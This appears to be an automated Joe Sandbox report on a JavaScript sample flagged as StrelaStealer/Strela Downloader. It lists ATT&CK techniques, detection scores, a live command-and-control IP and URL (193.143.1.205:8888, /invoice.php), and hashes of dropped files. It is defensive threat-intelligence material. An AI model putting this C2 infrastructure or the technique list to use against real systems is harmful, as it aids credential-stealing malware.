Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
14551240011188825169.js	4%	Virustotal		Browse
14551240011188825169.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/#	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2209105473.00000160D9760000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3428060849.00000160D9A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2206493483.00000264FEFCD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2206493483.00000264FEFEC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2206493483.00000264FEF98000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Num	net.exe, 00000007.00000002.2206493483.00000264FEF98000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/#	net.exe, 00000007.00000002.2206493483.00000264FEFCD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/L	net.exe, 00000007.00000002.2206493483.00000264FEFCD000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589020
Start date and time:	2025-01-11 08:30:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	14551240011188825169.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.233.129.217, 3.219.243.226, 52.6.155.20, 52.22.41.97, 162.159.61.3, 172.64.41.3, 2.23.242.162, 2.16.168.105, 2.16.168.107, 23.209.209.135, 13.107.246.45, 20.109.210.53, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:31:34	API Interceptor	29x Sleep call for process: powershell.exe modified
02:31:39	API Interceptor	1x Sleep call for process: net.exe modified
02:31:39	API Interceptor	2x Sleep call for process: svchost.exe modified
02:31:52	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	545019492124428424.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	98329724306712404.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11411287862891124151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263324304643772
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0c:9JZj5MiKNnNhoxuV
MD5:	BEC352B492F9D37F6EFC709CE8AE2447
SHA1:	46FE12A86ECD5D43FA1DA1DA7B232F374126DE7A
SHA-256:	8D1FCBE7D49CC2C8088E61E0B7B88D2421AC8392C7A08101F0957ABBEE15CE42
SHA-512:	6FA472E5F92DD5E28A5AFDEF00CE51C72C9E62C165D08F589B98437E75DCA1D0690BF8251E97BF7687DCB20A770484B616E73FC4C6D8EF4B326A74994286B247
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x7be9bad8, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555972402291575
Encrypted:	false
SSDEEP:	1536:VSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:VazaSvGJzYj2UlmOlOL
MD5:	A67071DC232577CC0D66F1C1A94DB7E2
SHA1:	A392B9DB930FC0FA0CBBEFA2794F171665153737
SHA-256:	506649AEF11F7D35DF6E2AA10C10FAA9EC459939526F89C3C4BB41F25E12569A
SHA-512:	5F4643AA3A1C0F8C255172DA1D7FD17FC930A885FFDFC45C5AD43971BCA663BBED117C591327E8B2BD26DED9B8C05EEAB54BDB5DFF12DB4472A3FBCA1C22FCD1
Malicious:	false
Preview:	{..... .......7.......X\...;...{......................0.e......!...{?.'....}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{..................................Q..'....}=...................(.'....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07961306314607716
Encrypted:	false
SSDEEP:	3:ay5i/KYe1J7cjANaAPaU1l5QhY6HlilluxmO+l/SNxOf:ayoKz1J4ENDPaUWh1GgmOH
MD5:	24F34ADEC2B60B3E9E90831A60AC8B4F
SHA1:	39FD316900026D8787DE93AF7F3E71C6D79F8589
SHA-256:	438BA1159C2A0B5566B1D26C48CBC5B1137451D9605F4E369FC817742B62843F
SHA-512:	BE3BAE2BA801F5D7AA3327B70EFA794EE2742C3305C8B8689844DF04FE54D1E5C115DC6FFD1DF87BEA2D0475DC917C585795B9544122FB46EE6C1D0D3A8703E5
Malicious:	false
Preview:	ujW......................................;...{..'....}...!...{?..........!...{?..!...{?..g...!...{?...................(.'....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.172279876622012
Encrypted:	false
SSDEEP:	6:iOyQt+q2PN72nKuAl9OmbnIFUtAcdXZmw+cd3VkwON72nKuAl9OmbjLJ:7lovVaHAahFUt3dX/ldF5OaHAaSJ
MD5:	583FFEE49DF78D687F42933D3DCFE2C5
SHA1:	178A1A37A8D90FA9DDDE07CF456C422940920042
SHA-256:	D167BF886AE4B101444A360CAA775502E7360655B503F8E59D3C9AB830B9F590
SHA-512:	762FD3563C56D36E57DD5DD6EF5624C72C09E8A20F8FCD8F04FF1A6D761B5C99FA350B724653FE3C75446B9A13EB46C71B1810C84BB2AC93BA9D26F97FCA923C
Malicious:	false
Preview:	2025/01/11-02:31:39.232 bb8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:31:39.236 bb8 Recovering log #3.2025/01/11-02:31:39.236 bb8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.172279876622012
Encrypted:	false
SSDEEP:	6:iOyQt+q2PN72nKuAl9OmbnIFUtAcdXZmw+cd3VkwON72nKuAl9OmbjLJ:7lovVaHAahFUt3dX/ldF5OaHAaSJ
MD5:	583FFEE49DF78D687F42933D3DCFE2C5
SHA1:	178A1A37A8D90FA9DDDE07CF456C422940920042
SHA-256:	D167BF886AE4B101444A360CAA775502E7360655B503F8E59D3C9AB830B9F590
SHA-512:	762FD3563C56D36E57DD5DD6EF5624C72C09E8A20F8FCD8F04FF1A6D761B5C99FA350B724653FE3C75446B9A13EB46C71B1810C84BB2AC93BA9D26F97FCA923C
Malicious:	false
Preview:	2025/01/11-02:31:39.232 bb8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:31:39.236 bb8 Recovering log #3.2025/01/11-02:31:39.236 bb8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.1820978169299705
Encrypted:	false
SSDEEP:	6:iOyt0Mq2PN72nKuAl9Ombzo2jMGIFUtAP9Zmw+8kwON72nKuAl9Ombzo2jMmLJ:7K5vVaHAa8uFUtS/v5OaHAa8RJ
MD5:	744B201754B9B7BCD8ADDF1429D94593
SHA1:	AC8A44AE61691637BF268A4936B0FD94B61E0C4D
SHA-256:	A158B39135C60EF7CD8DB32E2A1C702CA344B7CADF450B2FA30A5D8B63191C71
SHA-512:	ABD9D8935ABC74E69812D32D032D68CFFB735154E6890788D3151FB35EB69AEE6E71CFDD65DE2B61E7C31707108D00FFF7CE625F4835EAB8B707BA231111BAAE
Malicious:	false
Preview:	2025/01/11-02:31:39.360 1474 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:31:39.361 1474 Recovering log #3.2025/01/11-02:31:39.362 1474 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.1820978169299705
Encrypted:	false
SSDEEP:	6:iOyt0Mq2PN72nKuAl9Ombzo2jMGIFUtAP9Zmw+8kwON72nKuAl9Ombzo2jMmLJ:7K5vVaHAa8uFUtS/v5OaHAa8RJ
MD5:	744B201754B9B7BCD8ADDF1429D94593
SHA1:	AC8A44AE61691637BF268A4936B0FD94B61E0C4D
SHA-256:	A158B39135C60EF7CD8DB32E2A1C702CA344B7CADF450B2FA30A5D8B63191C71
SHA-512:	ABD9D8935ABC74E69812D32D032D68CFFB735154E6890788D3151FB35EB69AEE6E71CFDD65DE2B61E7C31707108D00FFF7CE625F4835EAB8B707BA231111BAAE
Malicious:	false
Preview:	2025/01/11-02:31:39.360 1474 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:31:39.361 1474 Recovering log #3.2025/01/11-02:31:39.362 1474 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5ac247ba-296b-499e-b4d0-501c6ccfabf0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.959716522192626
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqH4sBdOg2Hscaq3QYiubcP7E4T3y:Y2sRdsotdMHP3QYhbA7nby
MD5:	83E263157BD25C9F2D09434058DA95BB
SHA1:	3B79DA75C8DD63078990BF72A8F2EBF0684E21F2
SHA-256:	3267D613025C1ADD16D8C22F2119B67EDD423C1395831C5BFB3352C04D780102
SHA-512:	D93E6587650DCE8CF79B2FBFB76F6ACB9AB127024E6D82D60A6790499C586B4DD7A1C8E0CCC9D843BAC47D77CB2F9CB825D2543DDADB84B338A736E183F71995
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381140711786610","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.959716522192626
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqH4sBdOg2Hscaq3QYiubcP7E4T3y:Y2sRdsotdMHP3QYhbA7nby
MD5:	83E263157BD25C9F2D09434058DA95BB
SHA1:	3B79DA75C8DD63078990BF72A8F2EBF0684E21F2
SHA-256:	3267D613025C1ADD16D8C22F2119B67EDD423C1395831C5BFB3352C04D780102
SHA-512:	D93E6587650DCE8CF79B2FBFB76F6ACB9AB127024E6D82D60A6790499C586B4DD7A1C8E0CCC9D843BAC47D77CB2F9CB825D2543DDADB84B338A736E183F71995
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381140711786610","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":128333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.251459134540821
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7QCT:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhD
MD5:	86218D13367D772B3ED537DF2A2B9069
SHA1:	EF61F7831C4259B59E8362F596CEF2DB68017ED2
SHA-256:	961D0C2C6F4CFD9C86EE13F12ABB57348460566C93C9215930B56468A5D4809D
SHA-512:	63D9846EFEE238D56CB4051881D0FF428290EFB18D32D68BB39A83775858172D206A92853C787992FF12ECFB00E2C4FD99F26ABBAAF219A73B7C36415D3A937E
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1992589891030825
Encrypted:	false
SSDEEP:	6:iOySqq2PN72nKuAl9OmbzNMxIFUtAVFZmw+hvRFkwON72nKuAl9OmbzNMFLJ:7VqvVaHAa8jFUtA/G5OaHAa84J
MD5:	65BCACA3CE8F716DC13C9A218DB1AF17
SHA1:	3B5A01199554ABB9CF138B9C828E3671CF6CC807
SHA-256:	5528B7F5B1A13D1473F6DC43DE9092E151277D40E110CA9A88B7B1BF3446A60F
SHA-512:	451035F4F6DA731D40817826E8234AF7AD170AF69F26662B9EE7F50885EB6C821A29AAB7397BFAC514383A1A18E294784BEAB16A8B9B61B8E2D81C58BC999275
Malicious:	false
Preview:	2025/01/11-02:31:39.560 1474 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:31:39.565 1474 Recovering log #3.2025/01/11-02:31:39.569 1474 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1992589891030825
Encrypted:	false
SSDEEP:	6:iOySqq2PN72nKuAl9OmbzNMxIFUtAVFZmw+hvRFkwON72nKuAl9OmbzNMFLJ:7VqvVaHAa8jFUtA/G5OaHAa84J
MD5:	65BCACA3CE8F716DC13C9A218DB1AF17
SHA1:	3B5A01199554ABB9CF138B9C828E3671CF6CC807
SHA-256:	5528B7F5B1A13D1473F6DC43DE9092E151277D40E110CA9A88B7B1BF3446A60F
SHA-512:	451035F4F6DA731D40817826E8234AF7AD170AF69F26662B9EE7F50885EB6C821A29AAB7397BFAC514383A1A18E294784BEAB16A8B9B61B8E2D81C58BC999275
Malicious:	false
Preview:	2025/01/11-02:31:39.560 1474 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:31:39.565 1474 Recovering log #3.2025/01/11-02:31:39.569 1474 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444558325348488
Encrypted:	false
SSDEEP:	384:ye6ci5tBiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mSs3OazzU89UTTgUL
MD5:	FDB5B88AE12ECB9D728F49D2DD239154
SHA1:	8641916D8B35682C4471DF5CFB11DDB9AAEFED4A
SHA-256:	94655FFB7A43BBA921E6ACED2BF91DBB2EA470E5051A4E844CB6AFE31031B157
SHA-512:	5114E15A72F8AF98997F3A91F7C7EF37D86F3243A60309F37BBBCD3CC4CACF7AB09537E12AF34221E390D4A903A01A749A9F9F0D3E9351DBC4448BDE1959A1B2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.766106128425374
Encrypted:	false
SSDEEP:	48:7MpJioyVfioyzoy1C7oy16oy19KOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O/:7qJufdAXjBiib9IVXEBodRBkb
MD5:	69EB55D79CD78509AD4631C9470FAE19
SHA1:	3BCED70E1775E875C46F186E86CC75066E0974D9
SHA-256:	43EFD18128700A95591CDDE411C24444272BDAE85BC88FCB8666AB33131EA047
SHA-512:	BEE6724813EA5B6CA8775F537B118B36BF0AA2AB95FDFBCC238C5C976AC8F0D0542A672B825AB05BF1B9C0F0BD7C6AF20857A41DBE07687A480D7769DD601403
Malicious:	false
Preview:	.... .c......./................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

